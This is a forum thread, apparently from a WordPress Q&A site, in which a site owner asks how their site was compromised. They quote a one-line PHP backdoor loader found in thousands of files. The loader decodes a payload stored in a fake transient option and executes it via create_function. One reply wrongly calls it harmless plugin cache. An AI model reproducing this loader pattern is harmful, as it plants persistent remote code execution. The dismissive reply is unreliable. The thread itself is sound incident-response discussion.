I have got a website to "cleanup" which has almost 10k replicated files in the public_html folder and almost all PHP files contains code

$z=get_option("_transient_wp_less_compiled_c9b58ec39525169515675906d91c9815"); $z=base64_decode(str_rot13($z['root'])); if(strpos($z,"E8FA4873")!==false){ $_z=create_function("",$z); @$_z(); }

I have checked DB options table and there are multiple instances of _transient_wp_less_compiled_randomstuff

My question is - does the site got hacked using transient API or just used some exploit to spread malicious code across PHP files and DB which looks like "legit" transient API code for a regular user? I have "googled" for specific part of that code above but cannot find anything interesting how does site got hacked.

Should be the transient(cache files) of the plugin wp-less that convert the css code in less through a compiler.

After downloading wp-less check the compiler.class to see how the plugin cache the code.

I don't think this is hacking.

  • What that code is then? It is not a part of a theme and there is not wp-less plugin installed. Even if so WP-Less should to use hooks not to add cited code to each PHP file. – JackTheKnife Nov 9 '15 at 14:56

Your Answer


By clicking "Post Your Answer", you acknowledge that you have read our updated terms of service, privacy policy and cookie policy, and that your continued use of the website is subject to these policies.

Not the answer you're looking for? Browse other questions tagged or ask your own question.